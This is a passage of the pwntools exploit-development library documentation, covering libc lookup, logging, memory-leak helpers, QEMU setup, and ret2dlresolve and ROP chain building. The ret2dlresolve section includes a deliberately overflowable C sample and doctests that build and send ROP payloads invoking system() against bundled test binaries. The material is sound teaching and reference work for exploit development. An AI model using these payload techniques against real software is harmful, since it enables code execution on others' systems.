True
>>> filename = search_by_build_id('a5a3c3f65fd94f4c7f323a175707c3a79cbbd614')
>>> hex(ELF(filename).symbols.read)
'0xeef40'
```

pwnlib.libcdb.**search_by_sha1**(*hex_encoded_id*, *unstrip=True*)

Given a hex-encoded sha1, attempt to download a matching libc from libcdb.

Parameters

- **hex_encoded_id** (*str*) – Hex-encoded sha1sum (e.g. 'ABCDEF...') of the library
- **unstrip** (*bool*) – Try to fetch debug info for the libc and apply it to the downloaded file.

Returns Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_sha1('34471e355a5e71400b9d65e78d2cd6ce7fc49de5')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha1('XX')
True
>>> filename = search_by_sha1('0041d2f397bc2498f62aeb4134d522c5b2635e87')
>>> hex(ELF(filename).symbols.read)
'0xeef40'
```

pwnlib.libcdb.**search_by_sha256**(*hex_encoded_id*, *unstrip=True*)

Given a hex-encoded sha256, attempt to download a matching libc from libcdb.

Parameters

- **hex_encoded_id** (*str*) – Hex-encoded sha256sum (e.g. 'ABCDEF...') of the library

- **unstrip** (*bool*) – Try to fetch debug info for the libc and apply it to the downloaded file.

Returns Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_sha256(
↪'5e877a8272da934812d2d1f9ee94f73c77c790cbc5d8251f5322389fc9667f21')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_sha256('XX')
True
>>> filename = search_by_sha256(
↪'5d78fc60054df18df20480c71f3379218790751090f452baffb62ac6b2aff7ee')
>>> hex(ELF(filename).symbols.read)
'0xeef40'
```

pwnlib.libcdb.**search_by_md5**(*hex_encoded_id*, *unstrip=True*)
Given a hex-encoded md5sum, attempt to download a matching libc from libcdb.

Parameters

- **hex_encoded_id** (*str*) – Hex-encoded md5sum (e.g. 'ABCDEF...') of the library
- **unstrip** (*bool*) – Try to fetch debug info for the libc and apply it to the downloaded file.

Returns Path to the downloaded library on disk, or None.

Examples

```
>>> filename = search_by_md5('7a71dafb87606f360043dcd638e411bd')
>>> hex(ELF(filename).symbols.read)
'0xda260'
>>> None == search_by_md5('XX')
True
>>> filename = search_by_md5('74f2d3062180572fc8bcd964b587eeae')
>>> hex(ELF(filename).symbols.read)
'0xeef40'
```

pwnlib.libcdb.**unstrip_libc**(*filename*)
Given a path to a libc binary, attempt to download matching debug info and add them back to the given binary.

This modifies the given file.

Parameters **filename** (*str*) – Path to the libc binary to unstrip.

Returns True if binary was unstripped, False otherwise.

Examples

```
>>> filename = search_by_build_id('2d1c5e0b85cb06ff47fa6fa088ec22cb6e06074e',␣
↪unstrip=False)
>>> libc = ELF(filename)
>>> hex(libc.symbols.read)
'0xe56c0'
>>> 'main_arena' in libc.symbols
```

(continues on next page)

(continued from previous page)

```
False
>>> unstrip_libc(filename)
True
>>> libc = ELF(filename)
>>> hex(libc.symbols.main_arena)
'0x1d57a0'
>>> unstrip_libc(which('python'))
False
>>> filename = search_by_build_id('06a8004be6e10c4aeabbe0db74423ace392a2d6b',␣
↪unstrip=True)
>>> 'main_arena' in ELF(filename).symbols
True
```

2.21 `pwnlib.log` — Logging stuff

Logging module for printing status during an exploit, and internally within `pwntools`.

2.21.1 Exploit Developers

By using the standard `from pwn import *`, an object named `log` will be inserted into the global namespace. You can use this to print out status messages during exploitation.

For example,:

```
log.info('Hello, world!')
```

prints:

```
[*] Hello, world!
```

Additionally, there are some nifty mechanisms for performing status updates on a running job (e.g. when brute-forcing).:

```
p = log.progress('Working')
p.status('Reticulating splines')
time.sleep(1)
p.success('Got a shell!')
```

The verbosity of logging can be most easily controlled by setting `log_level` on the global `context` object.:

```
log.info("No you see me")
context.log_level = 'error'
log.info("Now you don't")
```

The purpose of this attribute is to control what gets printed to the screen, not what gets emitted. This means that you can put all logging events into a log file, while only wanting to see a small subset of them on your screen.

2.21.2 Pwnlib Developers

A module-specific logger can be imported into the module via:

```
from pwnlib.log import getLogger
log = getLogger(__name__)
```

This provides an easy way to filter logging programmatically or via a configuration file for debugging.

When using `progress`, you should use the `with` keyword to manage scoping, to ensure the spinner stops if an exception is thrown.

2.21.3 Technical details

Familiarity with the `logging` module is assumed.

A pwnlib root logger named 'pwnlib' is created and a custom handler and formatter is installed for it. The handler determines its logging level from `context.log_level`.

Ideally `context.log_level` should only affect which records will be emitted by the handler such that e.g. logging to a file will not be changed by it. But for performance reasons it is not feasible log everything in the normal case. In particular there are tight loops inside *`pwnlib.tubes.tube`*, which we would like to be able to debug, but if we are not debugging them, they should not spit out messages (even to a log file). For this reason there are a few places inside pwnlib, that will not even emit a record without `context.log_level` being set to *logging.DEBUG* or below.

Log records created by `Progress` and `Logger` objects will set `'pwnlib_msgtype'` on the `extra` field to signal which kind of message was generated. This information is used by the formatter to prepend a symbol to the message, e.g. `'[+] '` in `'[+] got a shell!'`

This field is ignored when using the `logging` module's standard formatters.

All status updates (which are not dropped due to throttling) on progress loggers result in a log record being created. The `extra` field then carries a reference to the `Progress` logger as `'pwnlib_progress'`.

If the custom handler determines that `term.term_mode` is enabled, log records that have a `'pwnlib_progess'` in their `extra` field will not result in a message being emitted but rather an animated progress line (with a spinner!) being created. Note that other handlers will still see a meaningful log record.

The custom handler will only handle log records whith a level of at least `context.log_level`. Thus if e.g. the level for the `'pwnlib.tubes.ssh'` is set to `'DEBUG'` no additional output will show up unless `context.log_level` is also set to `'DEBUG'`. Other handlers will however see the extra log records generated by the `'pwnlib.tubes.ssh'` logger.

`pwnlib.log.`**`install_default_handler`**`()`

Instantiates a *`Handler`* and *`Formatter`* and installs them for the `pwnlib` root logger. This function is automatically called from when importing *`pwn`*.

`class` `pwnlib.log.`**`Progress`**`(`*logger*, *msg*, *status*, *level*, *args*, *kwargs*`)`

Progress logger used to generate log records associated with some running job. Instances can be used as context managers which will automatically declare the running job a success upon exit or a failure upon a thrown exception. After *`success()`* or *`failure()`* is called the status can no longer be updated.

This class is intended for internal use. Progress loggers should be created using *`Logger.progress()`*.

`__init__``(`*logger*, *msg*, *status*, *level*, *args*, *kwargs*`)`

x.__init__(...) initializes x; see help(type(x)) for signature

`status``(`*status*, **args*, ***kwargs*`)`

Logs a status update for the running job.

If the progress logger is animated the status line will be updated in place.

Status updates are throttled at one update per 100ms.

success (*status = 'Done'*, **args*, ***kwargs*)
Logs that the running job succeeded. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

failure (*message*)
Logs that the running job failed. No further status updates are allowed.

If the Logger is animated, the animation is stopped.

__weakref__
list of weak references to the object (if defined)

class pwnlib.log.**Logger** (*logger=None*)
A class akin to the `logging.LoggerAdapter` class. All public methods defined on `logging.Logger` instances are defined on this class.

Also adds some `pwnlib` flavor:

- *progress()* (alias *waitfor()*)
- *success()*
- *failure()*
- *indented()*
- *info_once()*
- *warning_once()* (alias *warn_once()*)

Adds `pwnlib`-specific information for coloring, indentation and progress logging via log records `extra` field.

Loggers instantiated with `getLogger()` will be of this class.

__init__ (*logger=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

progress (*message*, *status = ''*, **args*, *level = logging.INFO*, ***kwargs*) → Progress
Creates a new progress logger which creates log records with log level *level*.

Progress status can be updated using *Progress.status()* and stopped using *Progress.success()* or *Progress.failure()*.

If *term.term_mode* is enabled the progress logger will be animated.

The progress manager also functions as a context manager. Using context managers ensures that animations stop even if an exception is raised.

```
with log.progress('Trying something...') as p:
    for i in range(10):
        p.status("At %i" % i)
        time.sleep(0.5)
    x = 1/0
```

waitfor (**args*, ***kwargs*)
Alias for *progress()*.

indented (*message*, **args*, *level = logging.INFO*, ***kwargs*)
Log a message but don't put a line prefix on it.

Parameters **level** (*int*) – Alternate log level at which to set the indented message. Defaults to `logging.INFO`.

success (*message*, **args*, ***kwargs*)
Logs a success message.

failure (*message*, **args*, ***kwargs*)
Logs a failure message.

info_once (*message*, **args*, ***kwargs*)
Logs an info message. The same message is never printed again.

warning_once (*message*, **args*, ***kwargs*)
Logs a warning message. The same message is never printed again.

warn_once (**args*, ***kwargs*)
Alias for `warning_once()`.

debug (*message*, **args*, ***kwargs*)
Logs a debug message.

info (*message*, **args*, ***kwargs*)
Logs an info message.

warning (*message*, **args*, ***kwargs*)
Logs a warning message.

warn (**args*, ***kwargs*)
Alias for `warning()`.

error (*message*, **args*, ***kwargs*)
To be called outside an exception handler.

Logs an error message, then raises a `PwnlibException`.

exception (*message*, **args*, ***kwargs*)
To be called from an exception handler.

Logs a error message, then re-raises the current exception.

critical (*message*, **args*, ***kwargs*)
Logs a critical message.

log (*level*, *message*, **args*, ***kwargs*)
Logs a message with log level *level*. The `pwnlib` formatter will use the default `logging` formater to format this message.

isEnabledFor (*level*) → bool
See if the underlying logger is enabled for the specified level.

setLevel (*level*)
Set the logging level for the underlying logger.

addHandler (*handler*)
Add the specified handler to the underlying logger.

removeHandler (*handler*)
Remove the specified handler from the underlying logger.

__weakref__
list of weak references to the object (if defined)

class `pwnlib.log.`**Handler** (*stream=None*)
A custom handler class. This class will report whatever `context.log_level` is currently set to as its log level.

If `term.term_mode` is enabled log records originating from a progress logger will not be emitted but rather an animated progress line will be created.

An instance of this handler is added to the `'pwnlib'` logger.

Initialize the handler.

If stream is not specified, sys.stderr is used.

emit(*record*)
Emit a log record or create/update an animated progress logger depending on whether `term.term_mode` is enabled.

class pwnlib.log.**Formatter**(*fmt=None*, *datefmt=None*)
Logging formatter which performs custom formatting for log records containing the `'pwnlib_msgtype'` attribute. Other records are formatted using the *logging* modules default formatter.

If `'pwnlib_msgtype'` is set, it performs the following actions:

- A prefix looked up in *_msgtype_prefixes* is prepended to the message.
- The message is prefixed such that it starts on column four.
- If the message spans multiple lines they are split, and all subsequent lines are indented.

This formatter is used by the handler installed on the `'pwnlib'` logger.

Initialize the formatter with specified format strings.

Initialize the formatter either with the specified format string, or a default as described above. Allow for specialized date formatting with the optional datefmt argument (if omitted, you get the ISO8601 format).

format(*record*)
Format the specified record as text.

The record's attribute dictionary is used as the operand to a string formatting operation which yields the returned string. Before formatting the dictionary, a couple of preparatory steps are carried out. The message attribute of the record is computed using LogRecord.getMessage(). If the formatting string uses the time (as determined by a call to usesTime(), formatTime() is called to format the event time. If there is exception information, it is formatted using formatException() and appended to the message.

2.22 `pwnlib.memleak` — Helper class for leaking memory

class pwnlib.memleak.**MemLeak**(*f*, *search_range=20*, *reraise=True*, *relative=False*)
MemLeak is a caching and heuristic tool for exploiting memory leaks.

It can be used as a decorator, around functions of the form:

def some_leaker(addr): . . . return data_as_string_or_None

It will cache leaked memory (which requires either non-randomized static data or a continouous session). If required, dynamic or known data can be set with the set-functions, but this is usually not required. If a byte cannot be recovered, it will try to leak nearby bytes in the hope that the byte is recovered as a side-effect.

Parameters

- **f** (*function*) – The leaker function.
- **search_range** (*int*) – How many bytes to search backwards in case an address does not work.
- **reraise** (*bool*) – Whether to reraise call `pwnlib.log.warning()` in case the leaker function throws an exception.

Example

```
>>> import pwnlib
>>> binsh = pwnlib.util.misc.read('/bin/sh')
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     print("leaking 0x%x" % addr)
...     return binsh[addr:addr+4]
>>> leaker.s(0)[:4]
leaking 0x0
leaking 0x4
b'\x7fELF'
>>> leaker[:4]
b'\x7fELF'
>>> hex(leaker.d(0))
'0x464c457f'
>>> hex(leaker.clearb(1))
'0x45'
>>> hex(leaker.d(0))
leaking 0x1
'0x464c457f'
>>> @pwnlib.memleak.MemLeak
... def leaker_nonulls(addr):
...     print("leaking 0x%x" % addr)
...     if addr & 0xff == 0:
...         return None
...     return binsh[addr:addr+4]
>>> leaker_nonulls.d(0) is None
leaking 0x0
True
>>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]
leaking 0x100
leaking 0xff
leaking 0x103
True
```

```
>>> memory = {-4+i: c.encode() for i,c in enumerate('wxyzABCDE')}
>>> def relative_leak(index):
...     return memory.get(index, None)
>>> leak = pwnlib.memleak.MemLeak(relative_leak, relative = True)
>>> leak[-1:2]
b'zAB'
```

static NoNewlines (*function*)
Wrapper for leak functions such that addresses which contain newline bytes are not leaked.

This is useful if the address which is used for the leak is provided by e.g. `fgets()`.

static NoNulls (*function*)
Wrapper for leak functions such that addresses which contain NULL bytes are not leaked.

This is useful if the address which is used for the leak is read in via a string-reading function like `scanf("%s")` or smilar.

static NoWhitespace (*function*)
Wrapper for leak functions such that addresses which contain whitespace bytes are not leaked.

This is useful if the address which is used for the leak is read in via e.g. `scanf()`.

static String (*function*)
Wrapper for leak functions which leak strings, such that a NULL terminator is automaticall added.

This is useful if the data leaked is printed out as a NULL-terminated string, via e.g. `printf()`.

__call__ (*...*) *<==> x(...)*

__init__ (*f*, *search_range=20*, *reraise=True*, *relative=False*)
x.__init__(. . .) initializes x; see help(type(x)) for signature

__repr__ () *<==> repr(x)*

_leak (*addr*, *n*, *recurse=True*)
_leak(addr, n) => str

Leak `n` consecutive bytes starting at `addr`.

Returns A string of length `n`, or `None`.

b (*addr*, *ndx = 0*) → int
Leak byte at `((uint8_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

clearb (*addr*, *ndx = 0*) → int
Clears byte at `((uint8_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0:b'a'}
>>> l.n(0,1) == b'a'
True
>>> l.clearb(0) == unpack(b'a', 8)
True
>>> l.cache
{}
>>> l.clearb(0) is None
True
```

cleard (*addr*, *ndx = 0*) → int
Clears dword at `((uint32_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b', 2: b'c', 3: b'd'}
>>> l.n(0, 4) == b'abcd'
True
>>> l.cleard(0) == unpack(b'abcd', 32)
True
>>> l.cache
{}
```

clearq (*addr*, *ndx = 0*) → int

Clears qword at `((uint64_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> c = MemLeak(lambda addr: b'')
>>> c.cache = {x:b'x' for x in range(0x100, 0x108)}
>>> c.clearq(0x100) == unpack(b'xxxxxxxx', 64)
True
>>> c.cache == {}
True
```

clearw (*addr*, *ndx = 0*) → int

Clears word at `((uint16_t*)addr)[ndx]` from the cache and returns the removed value or *None* if the address was not completely set.

Examples

```
>>> l = MemLeak(lambda a: None)
>>> l.cache = {0: b'a', 1: b'b'}
>>> l.n(0, 2) == b'ab'
True
>>> l.clearw(0) == unpack(b'ab', 16)
True
>>> l.cache
{}
```

d (*addr*, *ndx = 0*) → int

Leak dword at `((uint32_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack(b'abcd', 32)
True
>>> l.d(22) == unpack(b'wxyz', 32)
True
>>> l.d(23) is None
True
```

field (*address*, *obj*)
field(address, field) => a structure field.

Leak a field from a structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field

Return Value: The type of the return value will be dictated by the type of `field`.

field_compare (*address*, *obj*, *expected*)
field_compare(address, field, expected) ==> bool

Leak a field from a structure, with an expected value. As soon as any mismatch is found, stop leaking the structure.

Parameters

- **address** (*int*) – Base address to calculate offsets from
- **field** (*obj*) – Instance of a ctypes field
- **expected** (*int, bytes*) – Expected value

Return Value: The type of the return value will be dictated by the type of `field`.

n (*addr*, *ndx = 0*) → str
Leak *numb* bytes at *addr*.

Returns A string with the leaked bytes, will return *None* if any are missing

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.n(0,1) == b'a'
True
>>> l.n(0,26) == data
True
>>> len(l.n(0,26)) == 26
True
>>> l.n(0,27) is None
True
```

p (*addr*, *ndx = 0*) → int
Leak a pointer-width value at `((void**) addr)[ndx]`

p16 (*addr*, *val*, *ndx=0*)
Sets word at `((uint16_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: b'A', 34: b'\x00'}
True
```

p32 (*addr, val, ndx=0*)
Sets dword at `((uint32_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

p64 (*addr, val, ndx=0*)
Sets qword at `((uint64_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

p8 (*addr, val, ndx=0*)
Sets byte at `((uint8_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: b'A'}
True
```

q (*addr, ndx = 0*) → int
Leak qword at `((uint64_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack(b'abcdefgh', 64)
True
>>> l.q(18) == unpack(b'stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

raw (*addr, numb*) → list
Leak *numb* bytes at *addr*

s (*addr*) → str
Leak bytes at *addr* until failure or a nullbyte is found

Returns A string, without a NULL terminator. The returned string will be empty if the first byte is a NULL terminator, or if the first byte could not be retrieved.

Examples

```
>>> data = b"Hello\x00World"
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.s(0) == b"Hello"
True
>>> l.s(5) == b""
True
>>> l.s(6) == b"World"
True
>>> l.s(999) == b""
True
```

setb(*addr*, *val*, *ndx=0*)
Sets byte at `((uint8_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setb(33, 0x41)
>>> l.cache == {33: b'A'}
True
```

setd(*addr*, *val*, *ndx=0*)
Sets dword at `((uint32_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

setq(*addr*, *val*, *ndx=0*)
Sets qword at `((uint64_t*)addr)[ndx]` to *val* in the cache.

Examples

See `setw()`.

sets(*addr*, *val*, *null_terminate=True*)
Set known string at *addr*, which will be optionally be null-terminated

Note that this method is a bit dumb about how it handles the data. It will null-terminate the data, but it will not stop at the first null.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.sets(0, b'H\x00ello')
>>> l.cache == {0: b'H', 1: b'\x00', 2: b'e', 3: b'l', 4: b'l', 5: b'o', 6: b
↪'\x00'}
True
```

setw (*addr*, *val*, *ndx=0*)
Sets word at `((uint16_t*)addr)[ndx]` to *val* in the cache.

Examples

```
>>> l = MemLeak(lambda x: b'')
>>> l.cache == {}
True
>>> l.setw(33, 0x41)
>>> l.cache == {33: b'A', 34: b'\x00'}
True
```

struct (*address*, *struct*)
struct(address, struct) => structure object Leak an entire structure. :param address: Addess of structure in memory :type address: int :param struct: A ctypes structure to be instantiated with leaked data :type struct: class

Return Value: An instance of the provided struct class, with the leaked data decoded

Examples

```
>>> @pwnlib.memleak.MemLeak
... def leaker(addr):
...     return b"A"
>>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)
>>> hex(e.p_paddr)
'0x41414141'
```

u16 (*addr*, *ndx=0*)
w(addr, ndx = 0) -> int

Leak word at `((uint16_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack(b'ab', 16)
True
>>> l.w(24) == unpack(b'yz', 16)
True
>>> l.w(25) is None
True
```

u32 (*addr*, *ndx=0*)

d(addr, ndx = 0) -> int

Leak dword at `((uint32_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+8], reraise=False)
>>> l.d(0) == unpack(b'abcd', 32)
True
>>> l.d(22) == unpack(b'wxyz', 32)
True
>>> l.d(23) is None
True
```

u64 (*addr*, *ndx=0*)

q(addr, ndx = 0) -> int

Leak qword at `((uint64_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+16], reraise=False)
>>> l.q(0) == unpack(b'abcdefgh', 64)
True
>>> l.q(18) == unpack(b'stuvwxyz', 64)
True
>>> l.q(19) is None
True
```

u8 (*addr*, *ndx=0*)

b(addr, ndx = 0) -> int

Leak byte at `((uint8_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+2], reraise=False)
>>> l.b(0) == ord('a')
True
>>> l.b(25) == ord('z')
True
>>> l.b(26) is None
True
```

w (*addr*, *ndx = 0*) → int

Leak word at `((uint16_t*) addr)[ndx]`

Examples

```
>>> import string
>>> data = string.ascii_lowercase.encode()
>>> l = MemLeak(lambda a: data[a:a+4], reraise=False)
>>> l.w(0) == unpack(b'ab', 16)
True
>>> l.w(24) == unpack(b'yz', 16)
True
>>> l.w(25) is None
True
```

`__weakref__`
list of weak references to the object (if defined)

class `pwnlib.memleak.`**`RelativeMemLeak`**(**a*, ***kw*)

`__init__`(**a*, ***kw*)
x.__init__(…) initializes x; see help(type(x)) for signature

2.23 `pwnlib.qemu` — QEMU Utilities

Run foreign-architecture binaries

2.23.1 Overview

So you want to exploit ARM binaries on your Intel PC?

Pwntools has a good level of integration with QEMU user-mode emulation, in order to run, debug, and pwn foreign architecture binaries.

In general, everything magic happens "behind the scenes", and pwntools attempts to make your life easier.

When using *`process`*, pwntools will attempt to blindly execute the binary, in case your system is configured to use `binfmt-misc`.

If this fails, pwntools will attempt to manually launch the binary under qemu user-mode emulation. Preference is given to statically-linked variants, i.e. `qemu-arm-static` will be selected before `qemu-arm`.

Debugging

When debugging binaries with *`gdb.debug()`*, pwntools automatically adds the appropriate command-line flags to QEMU to start its GDB stub, and automatically informs GDB of the correct architecture and sysroot.

Sysroot

You can override the default sysroot by setting the `QEMU_LD_PREFIX` environment variable. This affects where `qemu` will look for files when `open()` is called, e.g. when the linker is attempting to resolve `libc.so`.

2.23.2 Required Setup

For Ubuntu 16.04 and newer, the setup is relatively straightforward for most architectures.

First, install the QEMU emulator itself. If your binary is statically-linked, this is sufficient.

```
$ sudo apt-get install qemu-user
```

If your binary is dynamically linked, you need to install libraries like libc. Generally, this package is named `libc6-$ARCH-cross`, e.g. `libc-mips-cross`. ARM comes in both soft-float and hard-float variants, e.g. `armhf`.

```
$ sudo apt-get install libc6-arm64-cross
```

If your binary relies on additional libraries, you can generally find them easily with `apt-cache search`. For example, if it's a C++ binary it may require `libstdc++`.

```
$ apt-cache search 'libstdc++' | grep arm64
```

Any other libraries that you require you'll have to find some other way.

Telling QEMU Where Libraries Are

The libraries are now installed on your system at e.g. `/usr/aarch64-linux-gnu`.

QEMU does not know where they are, and expects them to be at e.g. `/etc/qemu-binfmt/aarch64`. If you try to run your library now, you'll probably see an error about `libc.so.6` missing.

Create the `/etc/qemu-binfmt` directory if it does not exist, and create a symlink to the appropriate path.

```
$ sudo mkdir /etc/qemu-binfmt
$ sudo ln -s /usr/aarch64-linux-gnu /etc/qemu-binfmt/aarch64
```

Now QEMU should be able to run the libraries.

`pwnlib.qemu.`**`archname`**`(*a, **kw)`

Returns the name which QEMU uses for the currently selected architecture.

```
>>> pwnlib.qemu.archname()
'i386'
>>> pwnlib.qemu.archname(arch='powerpc')
'ppc'
```

`pwnlib.qemu.`**`ld_prefix`**`(*a, **kw)`

Returns the linker prefix for the selected qemu-user binary

```
>>> pwnlib.qemu.ld_prefix(arch='arm')
'/etc/qemu-binfmt/arm'
```

`pwnlib.qemu.`**`user_path`**`(*a, **kw)`

Returns the path to the QEMU-user binary for the currently selected architecture.

```
>>> pwnlib.qemu.user_path()
'qemu-i386-static'
>>> pwnlib.qemu.user_path(arch='thumb')
'qemu-arm-static'
```

2.24 `pwnlib.replacements` — Replacements for various functions

Improved replacements for standard functions

`pwnlib.replacements.sleep(n)`

Replacement for `time.sleep()`, which does not return if a signal is received.

Parameters **n** (*int*) – Number of seconds to sleep.

2.25 `pwnlib.rop.ret2dlresolve` — Return to dl_resolve

Provides automatic payload generation for exploiting buffer overflows using ret2dlresolve.

We use the following example program:

```
#include <unistd.h>
void vuln(void){
    char buf[64];
    read(STDIN_FILENO, buf, 200);
}
int main(int argc, char** argv){
    vuln();
}
```

We can automate the process of exploitation with these some example binaries.

```
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('i386'))
>>> rop = ROP(context.binary)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever␣
↪function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:        0x80482e0 read(0, 0x804ae00)
0x0004:        0x80484ea <adjust @0x10> pop edi; pop ebp; ret
0x0008:              0x0 arg0
0x000c:        0x804ae00 arg1
0x0010:        0x80482d0 [plt_init] system(0x804ae24)
0x0014:           0x2b84 [dlresolve index]
0x0018:          b'gaaa' <return address>
0x001c:        0x804ae24 arg0
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes*3: raw_rop, 200: dlresolve.payload}))
>>> p.recvline()
b'pwned\n'
```

You can also use `Ret2dlresolve` on AMD64:

```
>>> context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever␣
↪function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
```

(continues on next page)

(continued from previous page)

```
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]
>>> p = elf.process()
>>> p.sendline(fit({64+context.bytes: raw_rop, 200: dlresolve.payload}))
>>> if dlresolve.unreliable:
...     p.poll(True) == -signal.SIGSEGV
... else:
...     p.recvline() == b'pwned\n'
True
```

class pwnlib.rop.ret2dlresolve.**Ret2dlresolvePayload**(*elf*, *symbol*, *args*, *data_addr=None*)

Create a ret2dlresolve payload

Parameters

- **elf** (ELF) – Binary to search
- **symbol** (*str*) – Function to search for
- **args** (*list*) – List of arguments to pass to the function

Returns A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve

__init__(*elf*, *symbol*, *args*, *data_addr=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

__weakref__
list of weak references to the object (if defined)

2.26 pwnlib.rop.rop — Return Oriented Programming

Return Oriented Programming

2.26.1 Manual ROP

The ROP tool can be used to build stacks pretty trivially. Let's create a fake binary which has some symbols which might have been useful.

```
>>> context.clear(arch='i386')
>>> binary = ELF.from_assembly('add esp, 0x10; ret; pop eax; ret; pop ecx; pop ebx;␣
↪ret')
>>> binary.symbols = {'read': 0xdeadbeef, 'write': 0xdecafbad, 'execve': 0xcafebabe,
↪'exit': 0xfeedface}
```

Creating a ROP object which looks up symbols in the binary is pretty straightforward.

```
>>> rop = ROP(binary)
```

Once to ROP object has been loaded, you can trivially find gadgets, by using magic properties on the `ROP` object. Each `Gadget` has an `address` property which has the real address as well.

```
>>> rop.eax
Gadget(0x10000004, ['pop eax', 'ret'], ['eax'], 0x8)
>>> hex(rop.eax.address)
'0x10000004'
```

Other, more complicated gdagets also happen magically

```
>>> rop.ecx
Gadget(0x10000006, ['pop ecx', 'pop ebx', 'ret'], ['ecx', 'ebx'], 0xc)
```

The easiest way to set up individual registers is to invoke the `ROP` object as a callable, with the registers as arguments.

```
>>> rop(eax=0x11111111, ecx=0x22222222)
```

Setting register values this way accounts for padding and extra registers which are popped off the stack. Values which are filled with garbage (i.e. are not used) are filled with the `cyclic()` pattern which corresponds to their offset, which is useful when debuggging your exploit.

```
>>> print(rop.dump())
0x0000:       0x10000006 pop ecx; pop ebx; ret
0x0004:       0x22222222
0x0008:          b'caaa' <pad ebx>
0x000c:       0x10000004 pop eax; ret
0x0010:       0x11111111
```

Let's re-create our ROP object now to show for some other examples.:

```
>>> rop = ROP(binary)
```

With the ROP object, you can manually add stack frames.

```
>>> rop.raw(0)
>>> rop.raw(unpack(b'abcd'))
>>> rop.raw(2)
```

Inspecting the ROP stack is easy, and laid out in an easy-to-read manner.

```
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
```

The ROP module is also aware of how to make function calls with standard Linux ABIs.

```
>>> rop.call('read', [4,5,6])
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:          b'eaaa' <return address>
0x0014:              0x4 arg0
```

(continues on next page)

(continued from previous page)

```
0x0018:              0x5 arg1
0x001c:              0x6 arg2
```

You can also use a shorthand to invoke calls. The stack is automatically adjusted for the next frame

```
>>> rop.write(7,8,9)
>>> rop.exit()
>>> print(rop.dump())
0x0000:              0x0
0x0004:       0x64636261
0x0008:              0x2
0x000c:       0xdeadbeef read(4, 5, 6)
0x0010:       0x10000000 <adjust @0x24> add esp, 0x10; ret
0x0014:              0x4 arg0
